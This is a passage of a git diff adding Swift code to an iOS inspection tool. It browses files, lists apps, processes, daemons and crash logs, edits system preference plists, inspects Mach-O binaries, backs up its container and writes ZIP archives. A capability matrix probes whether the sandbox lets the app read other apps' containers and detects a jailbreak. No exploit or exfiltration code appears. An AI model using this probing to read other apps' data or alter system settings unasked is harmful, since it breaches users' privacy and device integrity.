fm.moveItem(atPath: item.path, toPath: dest); reload(); return nil } + catch { let code = errno; return "\(Container.describe(code)) · \(dest)" } + } + + func fileInfo(_ item: FileItem) -> [(String, String)] { + var rows: [(String, String)] = [] + rows.append((t("files.path"), item.path)) + rows.append(("Type", item.isDirectory ? "dir" : ((item.name as NSString).pathExtension.isEmpty ? "file" : (item.name as NSString).pathExtension))) + rows.append(("Size", item.isDirectory ? "—" : "\(item.size) B")) + if let m = item.modified { rows.append(("Modified", Self.dateFormatter.string(from: m))) } + if let attrs = try? fm.attributesOfItem(atPath: item.path) { + if let perm = attrs[.posixPermissions] as? NSNumber { + rows.append(("Mode", String(perm.intValue, radix: 8))) + } + if let owner = attrs[.ownerAccountName] as? String { rows.append(("Owner", owner)) } + } + let xattrs = listxattrs(item.path) + rows.append((t("pane.xattr"), xattrs.isEmpty ? t("common.none") : xattrs.joined(separator: ", "))) + return rows + } + + private func listxattrs(_ path: String) -> [String] { + let name = path + var size = listxattr(name, nil, 0, 0) + guard size > 0 else { return [] } + var buffer = [CChar](repeating: 0, count: size) + size = listxattr(name, &buffer, size, 0) + guard size > 0 else { return [] } + var out: [String] = [] + var current: [CChar] = [] + for c in buffer { + if c == 0 { + if !current.isEmpty { out.append(String(cString: current)); current = [] } + } else { + current.append(c) + } + } + return out + } + + static let dateFormatter: DateFormatter = { + let f = DateFormatter() + f.dateFormat = "yyyy-MM-dd HH:mm:ss" + return f + }() +} + +// MARK: - Text / plist / hex + +enum FileKind { + case text, plist, binary, image +} + +enum FileLoader { + static func kind(of path: String) -> FileKind { + let ext = (path as NSString).pathExtension.lowercased() + if ["plist", "strings", "xml", "json", "txt", "log", "conf", "cfg", "sh", "py", "swift", "c", "h", "mm", "js"].contains(ext) { + return ext == "plist" ? .plist : .text + } + if ["png", "jpg", "jpeg", "gif", "heic", "webp"].contains(ext) { return .image } + return .binary + } + + static func text(at path: String, limit: Int = 400_000) -> String? { + guard let handle = FileHandle(forReadingAtPath: path) else { return nil } + defer { try? handle.close() } + let data = handle.readData(ofLength: limit) + if let s = String(data: data, encoding: .utf8) { return s } + if let s = String(data: data, encoding: .isoLatin1) { return s } + return nil + } + + static func plist(at path: String) -> String? { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil } + if let obj = try? PropertyListSerialization.propertyList(from: data, format: nil) { + if let xml = try? PropertyListSerialization.data(fromPropertyList: obj, format: .xml, options: 0), + let s = String(data: xml, encoding: .utf8) { + return s + } + return "\(obj)" + } + return nil + } + + static func hexDump(at path: String, limit: Int = 8192) -> String? { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return nil } + return hexdump(data, limit: limit) + } + + @discardableResult + static func write(_ text: String, to path: String) -> String? { + do { try Container.write(text, to: path); return nil } + catch { let code = errno; return "\(Container.describe(code)) · \(path)" } + } + + @discardableResult + static func write(_ data: Data, to path: String) -> String? { + do { try Container.write(data, to: path); return nil } + catch { let code = errno; return "\(Container.describe(code)) · \(path)" } + } +} + +// MARK: - Package inspection (IPA / DEB / ZIP) + +struct PackageEntry: Identifiable { + var id: String { name } + let name: String + let size: Int64 +} + +enum PackageTool { + static func isZip(_ path: String) -> Bool { + guard let h = FileHandle(forReadingAtPath: path) else { return false } + defer { try? h.close() } + let magic = h.readData(ofLength: 4) + return magic == Data([0x50, 0x4B, 0x03, 0x04]) || magic == Data([0x50, 0x4B, 0x05, 0x06]) + } + + /// Uses libarchive so IPA, DEB, tar and gzip all go through one path. + static func list(_ path: String) -> [PackageEntry] { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { return [] } + guard let (entries, _) = try? Runners.Archive.list(data) else { return [] } + return entries.map { line in + let parts = line.components(separatedBy: " (") + let name = parts.first ?? line + let sizeText = parts.count > 1 ? parts[1].replacingOccurrences(of: " B)", with: "") : "0" + return PackageEntry(name: name, size: Int64(sizeText) ?? 0) + } + } + + static func extract(_ path: String, to directory: URL) -> String { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { + return tl("读取失败") + } + let result = Runners.Archive.extractAll(data, to: directory) + if result.count == 0 && result.errors == 0 { return result.status } + return "✓ \(result.count) / \(result.errors)" + } +} + +// MARK: - Capability matrix + +struct CapabilityRow: Identifiable { + var id: String { name } + let name: String + let level: String + let achieved: Bool + let detail: String +} + +enum Capability { + static func matrix() -> [CapabilityRow] { + let canReadSystem = (try? FileManager.default.contentsOfDirectory(atPath: "/System/Library/Frameworks")) != nil + let canReadVar = (try? FileManager.default.contentsOfDirectory(atPath: "/private/var/mobile/Library")) != nil + let canReadOthers = (try? FileManager.default.contentsOfDirectory(atPath: "/private/var/mobile/Containers/Data/Application")) != nil + let canReadJB = FileManager.default.fileExists(atPath: "/private/var/jb") + let canLoadDylib = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW) != nil + + // L0 is fixed, not probed. The container is writable by construction — an app that + // cannot write its own Documents directory cannot run at all. Every probe we tried + // here (access(W_OK) on the container root, a create/write/fsync cycle inside it) + // measures the sandbox's answer about a *path*, not about the extension the process + // actually holds, and reports false on real hardware for a container that writes + // perfectly well. The honest baseline is the fact itself. + return [ + CapabilityRow(name: t("cap.l0"), level: "L0", achieved: true, + detail: "~/Documents · ~/Library · ~/tmp"), + CapabilityRow(name: t("cap.l1"), level: "L1", achieved: canReadSystem, + detail: "/System/Library/Frameworks"), + CapabilityRow(name: t("cap.l2"), level: "L2", achieved: canReadVar, + detail: canReadVar ? t("cap.yes") : t("cap.no")), + CapabilityRow(name: t("cap.l3"), level: "L3", achieved: canReadOthers, + detail: canReadOthers ? t("cap.yes") : t("cap.no")), + CapabilityRow(name: t("cap.l4"), level: "L4", achieved: canLoadDylib, + detail: "libarchive.2.dylib"), + CapabilityRow(name: t("cap.l5"), level: "L5", achieved: canReadJB, + detail: canReadJB ? t("cap.yes") : t("cap.notJailbroken")), + ] + } +} diff --git a/Sources/ModPanes.swift b/Sources/ModPanes.swift new file mode 100644 index 0000000..fba3532 --- /dev/null +++ b/Sources/ModPanes.swift @@ -0,0 +1,811 @@ +import SwiftUI +import CryptoKit + +// MARK: - Hashing helpers + +extension Data { + var sha256Hex: String { + SHA256.hash(data: self).map { String(format: "%02x", $0) }.joined() + } + + var sha1Hex: String { + Insecure.SHA1.hash(data: self).map { String(format: "%02x", $0) }.joined() + } + + var md5Hex: String { + Insecure.MD5.hash(data: self).map { String(format: "%02x", $0) }.joined() + } +} + +// MARK: - Apps + +struct AppsPane: View { + @State private var apps: [InstalledApp] = [] + @State private var query = "" + @State private var selected: InstalledApp? + @State private var loading = true + + private var filtered: [InstalledApp] { + guard !query.isEmpty else { return apps } + return apps.filter { + $0.displayName.localizedCaseInsensitiveContains(query) || + $0.bundleID.localizedCaseInsensitiveContains(query) + } + } + + var body: some View { + VStack(spacing: 0) { + HStack { + Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3)) + TextField("bundle id / name", text: $query) + .font(T.body) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + if loading { ProgressView().scaleEffect(0.6) } + Text("\(filtered.count)").font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + .padding(10) + .background(RoundedRectangle(cornerRadius: 10).fill(T.panel)) + .padding(.horizontal, 16) + + List { + ForEach(filtered) { app in + Button { selected = app } label: { + HStack(spacing: 10) { + Image(systemName: app.isSystem ? "gearshape.2.fill" : "app.fill") + .font(.system(size: 13)) + .foregroundColor(app.isSystem ? T.info : T.ember) + .frame(width: 20) + VStack(alignment: .leading, spacing: 2) { + Text(app.displayName).font(T.body).foregroundColor(.white.opacity(0.88)) + Text(app.bundleID).font(T.monoSm).foregroundColor(.white.opacity(0.32)) + .lineLimit(1).truncationMode(.middle) + } + Spacer() + if !app.version.isEmpty { + Text(app.version).font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + } + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + } + .onAppear { + guard apps.isEmpty else { return } + DispatchQueue.global(qos: .userInitiated).async { + let list = AppCensus.installed() + DispatchQueue.main.async { apps = list; loading = false } + } + } + .sheet(item: $selected) { app in + AppDetailView(app: app).presentationDetents([.large]) + } + } +} + +struct AppDetailView: View { + let app: InstalledApp + @Environment(\.dismiss) private var dismiss + @State private var files: [String] = [] + @State private var note = "" + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: t("pane.apps")) + KeyValueRow(key: t("files.name"), value: app.displayName, mono: false) + KeyValueRow(key: "Bundle ID", value: app.bundleID) + KeyValueRow(key: "Version", value: app.version.isEmpty ? "—" : app.version) + KeyValueRow(key: "Type", value: app.isSystem ? "System" : (app.isPlaceholder ? "Placeholder" : "User")) + } + } + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: "Container") + KeyValueRow(key: "Bundle", value: app.bundlePath.isEmpty ? "—" : app.bundlePath) + KeyValueRow(key: "Data", value: app.dataPath.isEmpty ? "—" : app.dataPath) + } + } + Card { + VStack(alignment: .leading, spacing: 6) { + SectionLabel(text: "Contents") + if files.isEmpty { + Text(note.isEmpty ? t("cap.no") : note) + .font(T.monoSm).foregroundColor(.white.opacity(0.4)) + } else { + ForEach(files, id: \.self) { line in + Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + } + } + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(app.displayName) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button(t("module.close")) { dismiss() }.tint(T.ember) + } + } + .onAppear(perform: load) + } + } + + private func load() { + guard !app.dataPath.isEmpty else { note = "no data container"; return } + do { + files = try FileManager.default.contentsOfDirectory(atPath: app.dataPath).sorted() + } catch { + note = "\(Container.describe(errno))" + } + } +} + +// MARK: - Preferences + +struct PrefsPane: View { + @State private var entries: [FileItem] = [] + @State private var current = "" + @State private var editing: FileItem? + @State private var status = "" + + private let candidates = [ + "/private/var/mobile/Library/Preferences", + "/private/var/mobile/Library/Preferences/com.apple.springboard.plist", + "/private/var/mobile/Library/Preferences/com.apple.Accessibility.plist", + "/private/var/mobile/Library/Preferences/com.apple.UIKit.plist", + "/private/var/mobile/Library/Preferences/com.apple.keyboard.plist", + ] + + var body: some View { + VStack(spacing: 0) { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 7) { + ForEach(candidates, id: \.self) { path in + Button { load(path) } label: { + Pill(text: (path as NSString).lastPathComponent, + color: current == path ? T.ember : .white.opacity(0.45)) + } + } + } + .padding(.horizontal, 16).padding(.vertical, 8) + } + + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(T.warn) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 16).padding(.bottom, 6) + .fixedSize(horizontal: false, vertical: true) + } + + List { + ForEach(entries) { item in + Button { editing = item } label: { + HStack(spacing: 10) { + Image(systemName: item.isDirectory ? "folder.fill" : "list.bullet.rectangle") + .font(.system(size: 12)) + .foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4)) + .frame(width: 18) + Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1) + Spacer() + Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + } + .onAppear { if current.isEmpty { load(candidates[0]) } } + .sheet(item: $editing) { item in + PlistEditorView(item: item).presentationDetents([.large]) + } + } + + private func load(_ path: String) { + current = path + entries = [] + status = "" + let fm = FileManager.default + var isDir: ObjCBool = false + guard fm.fileExists(atPath: path, isDirectory: &isDir) else { + status = "\(path) — \(Container.describe(ENOENT))" + return + } + if isDir.boolValue { + guard let names = try? fm.contentsOfDirectory(atPath: path) else { + status = "\(path) — \(Container.describe(errno))" + return + } + entries = names.compactMap { name -> FileItem? in + let full = (path as NSString).appendingPathComponent(name) + var d: ObjCBool = false + _ = fm.fileExists(atPath: full, isDirectory: &d) + let size = ((try? fm.attributesOfItem(atPath: full))?[.size] as? NSNumber)?.int64Value ?? 0 + return FileItem(name: name, path: full, isDirectory: d.boolValue, size: size, + modified: nil, isSymlink: false) + }.sorted { $0.name < $1.name } + if entries.isEmpty { status = t("files.empty") } + } else { + let size = ((try? fm.attributesOfItem(atPath: path))?[.size] as? NSNumber)?.int64Value ?? 0 + entries = [FileItem(name: (path as NSString).lastPathComponent, path: path, + isDirectory: false, size: size, modified: nil, isSymlink: false)] + } + } +} + +struct PlistEditorView: View { + let item: FileItem + @Environment(\.dismiss) private var dismiss + @State private var text = "" + @State private var editable = false + @State private var status = "" + @State private var dirty = false + + var body: some View { + NavigationStack { + VStack(spacing: 0) { + if !status.isEmpty { + Text(status).font(T.monoSm) + .foregroundColor(status.hasPrefix("✓") ? T.good : T.warn) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 16).padding(.vertical, 6) + .fixedSize(horizontal: false, vertical: true) + } + TextEditor(text: $text) + .font(.system(size: 11, design: .monospaced)) + .scrollContentBackground(.hidden) + .background(T.bg) + .disabled(!editable) + .onChange(of: text) { _, _ in dirty = true } + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(item.name) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarLeading) { + Button(editable ? "RO" : "Edit") { editable.toggle() }.tint(T.ember) + } + ToolbarItem(placement: .topBarTrailing) { + Button(t("files.save")) { save() } + .tint(dirty && editable ? T.ember : .white.opacity(0.3)) + .disabled(!editable || !dirty) + } + } + .onAppear(perform: load) + } + } + + private func load() { + if let s = FileLoader.plist(at: item.path) ?? FileLoader.text(at: item.path) { + text = s + editable = true + status = "\(s.count) chars" + } else { + text = FileLoader.hexDump(at: item.path) ?? "—" + status = "binary" + } + dirty = false + } + + private func save() { + guard let data = text.data(using: .utf8) else { return } + if item.name.hasSuffix(".plist"), + (try? PropertyListSerialization.propertyList(from: data, format: nil)) == nil { + status = "plist syntax error — not written" + return + } + let backup = item.path + ".cinder27.bak" + if !FileManager.default.fileExists(atPath: backup) { + try? FileManager.default.copyItem(atPath: item.path, toPath: backup) + } + do { + try Container.write(data, to: item.path) + status = "✓ \(t("files.save"))" + dirty = false + } catch { + status = Container.describe(errno) + } + } +} + +// MARK: - Processes + +struct ProcessPane: View { + @State private var procs: [ProcInfo] = [] + @State private var query = "" + + private var filtered: [ProcInfo] { + guard !query.isEmpty else { return procs } + return procs.filter { $0.name.localizedCaseInsensitiveContains(query) || "\($0.pid)" == query } + } + + var body: some View { + VStack(spacing: 0) { + HStack { + Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3)) + TextField("pid / name", text: $query).font(T.body) + .textInputAutocapitalization(.never).autocorrectionDisabled() + Text("\(procs.count)").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + .padding(10) + .background(RoundedRectangle(cornerRadius: 10).fill(T.panel)) + .padding(.horizontal, 16) + + List { + ForEach(filtered) { p in + HStack(spacing: 10) { + Text("\(p.pid)").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + .frame(width: 44, alignment: .leading) + Text(p.name).font(T.mono).foregroundColor(.white.opacity(0.85)).lineLimit(1) + Spacer() + Text("uid \(p.uid)").font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + } + .onAppear { procs = ProcList.snapshot() } + } +} + +// MARK: - Daemons + +struct DaemonPane: View { + @State private var daemons: [LaunchCensus.Daemon] = [] + @State private var query = "" + + private var filtered: [LaunchCensus.Daemon] { + guard !query.isEmpty else { return daemons } + return daemons.filter { $0.label.localizedCaseInsensitiveContains(query) } + } + + var body: some View { + VStack(spacing: 0) { + HStack { + Image(systemName: "magnifyingglass").font(.system(size: 12)).foregroundColor(.white.opacity(0.3)) + TextField("label", text: $query).font(T.body) + .textInputAutocapitalization(.never).autocorrectionDisabled() + Text("\(daemons.count)").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + .padding(10) + .background(RoundedRectangle(cornerRadius: 10).fill(T.panel)) + .padding(.horizontal, 16) + + List { + ForEach(filtered) { d in + VStack(alignment: .leading, spacing: 3) { + HStack(spacing: 6) { + Text(d.label).font(T.mono).foregroundColor(.white.opacity(0.85)).lineLimit(1) + if d.runAtLoad { Pill(text: "RunAtLoad", color: T.good) } + if d.keepAlive { Pill(text: "KeepAlive", color: T.info) } + } + Text(d.program.isEmpty ? d.path : d.program) + .font(T.monoSm).foregroundColor(.white.opacity(0.3)) + .lineLimit(1).truncationMode(.middle) + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + } + .onAppear { daemons = LaunchCensus.daemons() } + } +} + +// MARK: - Crashes + +struct CrashPane: View { + @State private var reports: [CrashReport] = [] + @State private var selected: CrashReport? + + var body: some View { + List { + if reports.isEmpty { + Text("No crash reports in reachable paths.") + .font(T.monoSm).foregroundColor(.white.opacity(0.4)) + .listRowBackground(T.panel) + } + ForEach(reports) { r in + Button { selected = r } label: { + VStack(alignment: .leading, spacing: 3) { + HStack { + Text(r.process.isEmpty ? r.name : r.process) + .font(T.mono).foregroundColor(.white.opacity(0.88)) + Spacer() + if let d = r.date { + Text(FileBrowser.dateFormatter.string(from: d)) + .font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + } + if !r.exception.isEmpty { + Text(r.exception).font(T.monoSm).foregroundColor(T.emberSoft).lineLimit(2) + } + if !r.faultingSymbol.isEmpty { + Text(r.faultingSymbol).font(T.monoSm).foregroundColor(.white.opacity(0.35)).lineLimit(1) + } + } + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + .onAppear { reports = CrashLogs.list() } + .sheet(item: $selected) { r in + NavigationStack { + ScrollView { + VStack(alignment: .leading, spacing: 10) { + Card { + VStack(alignment: .leading, spacing: 2) { + KeyValueRow(key: "Process", value: r.process) + KeyValueRow(key: "Exception", value: r.exception) + KeyValueRow(key: "Size", value: "\(r.size) B") + } + } + Card { + VStack(alignment: .leading, spacing: 3) { + SectionLabel(text: "Frames") + ForEach(Array(r.frames.enumerated()), id: \.offset) { i, f in + Text("\(i) \(f)").font(T.monoSm).foregroundColor(.white.opacity(0.7)) + } + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(r.name) + .navigationBarTitleDisplayMode(.inline) + } + } + } +} + +// MARK: - Binary + +struct BinaryPane: View { + @State private var path = "" + @State private var info: MachOInfo? + @State private var error = "" + + private let presets: [(String, String)] = [ + ("CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics"), + ("CoreMedia", "/System/Library/Frameworks/CoreMedia.framework/CoreMedia"), + ("libarchive", "/usr/lib/libarchive.2.dylib"), + ("ImageIO", "/System/Library/Frameworks/ImageIO.framework/ImageIO"), + ("libsystem_sandbox", "/usr/lib/system/libsystem_sandbox.dylib"), + ("Self", Bundle.main.executablePath ?? ""), + ] + + var body: some View { + ScrollView { + VStack(spacing: 14) { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 7) { + ForEach(presets, id: \.0) { p in + Button { path = p.1; inspect() } label: { + Pill(text: p.0, color: .white.opacity(0.5)) + } + } + } + } + + HStack(spacing: 8) { + TextField("/path/to/binary", text: $path) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(9) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panel)) + Button(t("common.ok")) { inspect() } + .font(.system(size: 12, weight: .semibold)) + .tint(T.ember) + } + + if !error.isEmpty { + Text(error).font(T.monoSm).foregroundColor(T.warn) + .frame(maxWidth: .infinity, alignment: .leading) + } + + if let info = info { + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: "Mach-O") + KeyValueRow(key: "Arch", value: info.isFat ? "FAT" : info.arch) + KeyValueRow(key: "Type", value: info.fileType) + KeyValueRow(key: "Platform", value: info.platform) + KeyValueRow(key: "MinOS", value: info.minOS) + KeyValueRow(key: "SDK", value: info.sdk) + KeyValueRow(key: "Crypt", value: info.isEncrypted ? "encrypted (\(info.cryptID))" : "plain", + tint: info.isEncrypted ? T.ember : T.good) + } + } + if !info.linkedLibraries.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: "Libraries (\(info.linkedLibraries.count))") + ForEach(info.linkedLibraries.prefix(40), id: \.self) { lib in + Text(lib).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + } + } + } + } + if !info.rpaths.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: "RPATH") + ForEach(info.rpaths, id: \.self) { r in + Text(r).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + } + } + } + } + } + } + .padding(16) + } + } + + private func inspect() { + error = "" + info = nil + guard FileManager.default.fileExists(atPath: path) else { + error = Container.describe(ENOENT) + return + } + if let result = MachOInspector.inspect(path) { + info = result + } else { + error = "not Mach-O, or read denied" + } + } +} + +// MARK: - Backup + +struct BackupPane: View { + @State private var status = "" + @State private var busy = false + @State private var backups: [FileItem] = [] + @State private var includeCaches = false + @State private var restoreTarget: FileItem? + + private var backupDir: URL { Container.backups } + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: t("pane.backup")) + Text(tl("把容器内的偏好、文稿与工具产物打成 ZIP。归档走同一写入器,可被 libarchive 解回。")) + .font(T.body).foregroundColor(.white.opacity(0.65)) + .fixedSize(horizontal: false, vertical: true) + Toggle(isOn: $includeCaches) { + Text("Library/Caches").font(T.body).foregroundColor(.white.opacity(0.7)) + }.tint(T.ember) + RunButton(title: busy ? t("common.loading") : t("pane.backup"), + systemImage: "archivebox.fill", tint: T.info, disabled: busy) { backup() } + } + } + + if !status.isEmpty { + Card { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.7)) + .frame(maxWidth: .infinity, alignment: .leading) + .fixedSize(horizontal: false, vertical: true) + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + HStack { + SectionLabel(text: "\(t("pane.backup")) (\(backups.count))") + Spacer() + Button { reload() } label: { + Image(systemName: "arrow.clockwise").font(.system(size: 11, weight: .bold)) + }.tint(T.ember) + } + if backups.isEmpty { + Text(t("common.none")).font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } else { + ForEach(backups) { b in + HStack(spacing: 8) { + Text(b.name).font(T.monoSm) + .foregroundColor(.white.opacity(0.72)).lineLimit(1) + Spacer() + Text(b.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.3)) + Button { restoreTarget = b } label: { + Image(systemName: "arrow.uturn.backward.circle").font(.system(size: 13)) + }.tint(T.warn) + Button { + try? FileManager.default.removeItem(atPath: b.path) + reload() + } label: { + Image(systemName: "trash").font(.system(size: 12)) + }.tint(T.bad) + } + } + } + } + } + } + .padding(16) + } + .onAppear(perform: reload) + .alert("Restore?", isPresented: Binding( + get: { restoreTarget != nil }, + set: { if !$0 { restoreTarget = nil } })) { + Button("Restore", role: .destructive) { + if let t = restoreTarget { restore(t) } + restoreTarget = nil + } + Button(t("files.cancel"), role: .cancel) { restoreTarget = nil } + } message: { + Text(restoreTarget?.name ?? "") + } + } + + private func reload() { + let fm = FileManager.default + try? fm.createDirectory(at: backupDir, withIntermediateDirectories: true) + let names = (try? fm.contentsOfDirectory(atPath: backupDir.path)) ?? [] + backups = names.compactMap { name -> FileItem? in + guard name.hasSuffix(".zip") else { return nil } + let full = backupDir.appendingPathComponent(name).path + let size = ((try? fm.attributesOfItem(atPath: full))?[.size] as? NSNumber)?.int64Value ?? 0 + return FileItem(name: name, path: full, isDirectory: false, size: size, + modified: nil, isSymlink: false) + }.sorted { $0.name > $1.name } + } + + private func backup() { + busy = true + status = t("common.loading") + let fm = FileManager.default + let rootPath = Container.rootPath + let stamp = ISO8601DateFormatter().string(from: Date()) + .replacingOccurrences(of: ":", with: "-") + let target = backupDir.appendingPathComponent("cinder27-\(stamp).zip") + let skipCaches = !includeCaches + let backupPrefix = "Documents/Cinder27/Backups/" + + DispatchQueue.global(qos: .userInitiated).async { + var zip = ZipWriter() + var stored = 0 + var skipped = 0 + var bytes = 0 + let limit = 400_000_000 + + if let enumerator = fm.enumerator(at: Container.root, + includingPropertiesForKeys: [.isRegularFileKey, .fileSizeKey], + options: [.skipsHiddenFiles]) { + for case let url as URL in enumerator { + guard let v = try? url.resourceValues(forKeys: [.isRegularFileKey, .fileSizeKey]), + v.isRegularFile == true else { continue } + let relative = url.path.replacingOccurrences(of: rootPath + "/", with: "") + if relative.hasPrefix(backupPrefix) { continue } + if skipCaches && relative.hasPrefix("Library/Caches/") { continue } + if let size = v.fileSize, size > 80_000_000 { skipped += 1; continue } + if bytes > limit { skipped += 1; continue } + guard let data = try? Data(contentsOf: url) else { skipped += 1; continue } + zip.add(relative, data) + stored += 1 + bytes += data.count + } + } + + let archive = zip.build() + var failure: String? + do { + try fm.createDirectory(at: self.backupDir, withIntermediateDirectories: true) + try archive.write(to: target, options: .atomic) + } catch { + failure = Container.describe(errno) + } + let produced = archive.count + DispatchQueue.main.async { + busy = false + status = failure.map { "\($0)" } ?? "✓ \(stored) files · \(ByteCountFormatter.string(fromByteCount: Int64(produced), countStyle: .file))" + (skipped > 0 ? " · \(skipped) skipped" : "") + reload() + } + } + } + + private func restore(_ item: FileItem) { + busy = true + status = t("common.loading") + DispatchQueue.global(qos: .userInitiated).async { + guard let data = try? Data(contentsOf: URL(fileURLWithPath: item.path)) else { + DispatchQueue.main.async { busy = false; status = Container.describe(errno) } + return + } + let result = Runners.Archive.extractAll(data, to: Container.root) + DispatchQueue.main.async { + busy = false + status = "✓ \(result.count) · \(result.errors)" + } + } + } +} + +// MARK: - Telemetry + +struct TelemetryPane: View { + @State private var sections: [(String, [(String, String)])] = [] + + var body: some View { + ScrollView { + VStack(spacing: 14) { + ForEach(Array(sections.enumerated()), id: \.offset) { _, section in + Card { + VStack(alignment: .leading, spacing: 2) { + SectionLabel(text: section.0) + ForEach(Array(section.1.enumerated()), id: \.offset) { _, kv in + KeyValueRow(key: kv.0, value: kv.1) + } + } + } + } + } + .padding(16) + } + .onAppear { + sections = [ + ("Power", Telemetry.battery() + Telemetry.thermal()), + ("Network", Telemetry.interfaces()), + ] + } + } +} + +// MARK: - Profiles + +struct ProfilePane: View { + @State private var profiles: [ProfileCensus.Profile] = [] + + var body: some View { + ScrollView { + VStack(spacing: 14) { + if profiles.isEmpty { + Card { + Text("No provisioning profiles reachable. The device-level directory requires cross-container read.") + .font(T.body).foregroundColor(.white.opacity(0.55)) + .fixedSize(horizontal: false, vertical: true) + } + } + ForEach(Array(profiles.enumerated()), id: \.offset) { _, p in + Card { + VStack(alignment: .leading, spacing: 2) { + Text(p.name).font(.system(size: 14, weight: .semibold, design: .rounded)) + .foregroundColor(.white) + KeyValueRow(key: "UUID", value: p.uuid) + KeyValueRow(key: "Team", value: p.teamID) + KeyValueRow(key: "AppID", value: p.appID) + KeyValueRow(key: "Devices", value: "\(p.devices)") + if let e = p.expires { + KeyValueRow(key: "Expires", value: FileBrowser.dateFormatter.string(from: e)) + } + } + } + } + } + .padding(16) + } + .onAppear { profiles = ProfileCensus.installed() } + } +} diff --git a/Sources/ModTools.swift b/Sources/ModTools.swift new file mode 100644 index 0000000..f595dd3 --- /dev/null +++ b/Sources/ModTools.swift @@ -0,0 +1,759 @@ +import Foundation +import Darwin +import CoreText +import UIKit + +// MARK: - ZIP writer (stored entries, no external dependency) + +/// A minimal but correct ZIP writer. iOS installation only needs a valid archive, and +/// stored entries keep the whole thing deterministic — no compressor to get wrong. +struct ZipWriter { + struct Entry { + let name: String + let data: Data + } + + private var entries: [Entry] = [] + + mutating func add(_ name: String, _ data: Data) { + entries.append(Entry(name: name, data: data)) + } + + mutating func add(url: URL, as name: String) { + guard let data = try? Data(contentsOf: url) else { return } + add(name, data) + } + + static func crc32(_ bytes: [UInt8]) -> UInt32 { + var table = [UInt32](repeating: 0, count: 256) + for i in 0..<256 { + var c = UInt32(i) + for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) } + table[i] = c + } + var crc: UInt32 = 0xFFFFFFFF + for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) } + return crc ^ 0xFFFFFFFF + } + + func build() -> Data { + var out = Data() + var central = Data() + let now = Date() + let cal = Calendar(identifier: .gregorian) + let comps = cal.dateComponents([.year, .month, .day, .hour, .minute, .second], from: now) + let dosTime = UInt16(((comps.hour ?? 0) << 11) | ((comps.minute ?? 0) << 5) | ((comps.second ?? 0) / 2)) + let dosDate = UInt16((((comps.year ?? 2026) - 1980) << 9) | ((comps.month ?? 1) << 5) | (comps.day ?? 1)) + + var count: UInt16 = 0 + for entry in entries { + let nameBytes = Array(entry.name.utf8) + let payload = [UInt8](entry.data) + let crc = Self.crc32(payload) + let offset = UInt32(out.count) + let size = UInt32(payload.count) + + out.append(contentsOf: [0x50, 0x4B, 0x03, 0x04]) + out.append(contentsOf: B.le16(20)) + out.append(contentsOf: B.le16(0x0800)) // UTF-8 flag + out.append(contentsOf: B.le16(0)) // stored + out.append(contentsOf: B.le16(dosTime)) + out.append(contentsOf: B.le16(dosDate)) + out.append(contentsOf: B.le32(crc)) + out.append(contentsOf: B.le32(size)) + out.append(contentsOf: B.le32(size)) + out.append(contentsOf: B.le16(UInt16(nameBytes.count))) + out.append(contentsOf: B.le16(0)) + out.append(contentsOf: nameBytes) + out.append(contentsOf: payload) + + 